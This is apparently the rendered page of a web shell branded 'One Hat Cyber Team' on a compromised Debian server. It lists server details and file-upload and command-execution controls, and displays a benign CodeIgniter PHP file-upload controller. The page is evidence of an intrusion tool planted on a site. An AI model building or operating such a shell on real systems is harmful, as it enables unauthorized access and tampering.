⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
var
/
www
/
lppm
/
Modules
/
File
/
Controllers
/
Viewing : File.php
<?php namespace Modules\File\Controllers; use App\Controllers\BaseController; use Ramsey\Uuid\Uuid; class File extends BaseController { public function index() { $data['title'] = 'File'; $data['li_1'] = 'Daftar File'; $data['body'] = 'Modules\File\Views\list'; $data['data'] = $this->db->table('file')->get()->getResult(); return view('backend', $data); } public function add(){ $id = Uuid::uuid4()->toString(); $p = $this->request->getPost(); $rules = [ 'nama' => [ 'label' => 'Nama File Riset', 'rules' => 'required|min_length[3]|max_length[100]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'min_length' => '{field} minimal {param} karakter.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'dokumen' => [ 'label' => 'File Dokumen', 'rules' => 'uploaded[dokumen]|max_size[dokumen,2048]|ext_in[dokumen,pdf]', 'errors' => [ 'uploaded' => 'Anda harus memilih file untuk diupload.', 'max_size' => 'Ukuran file terlalu besar (maks 1MB).', 'ext_in' => 'Hanya diizinkan format PDF.' ], ], ]; if (! $this->validateData($p,$rules)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect('admin/file'); } $file = $this->request->getFile('dokumen'); $newName = $file->getRandomName(); $dir = '/uploads/file/'; $file->move(ROOTPATH.'/public'.$dir, $newName); $d = [ 'id' => $id, 'nama' => $p['nama'], 'dir' => $dir.$newName ]; if($this->db->table('file')->insert($d)){ session()->setFlashData(success('Berhasil Menyimpan Data')); return redirect('admin/file'); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect('admin/file'); } } public function get($id = null){ $d = $this->db->table('file')->where('id', $id)->get()->getRow(); return json_encode($d); } public function delete($id = null){ $d = $this->db->table('file')->where('id', $id)->get()->getRow(); if($this->db->table('file')->where('id', $id)->delete()){ session()->setFlashData(success('Berhasil Mengapus Data')); $file_path = ROOTPATH.'/public'.$d->dir; if (file_exists($file_path)) { unlink($file_path); } return redirect('admin/file'); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect('admin/file'); } } }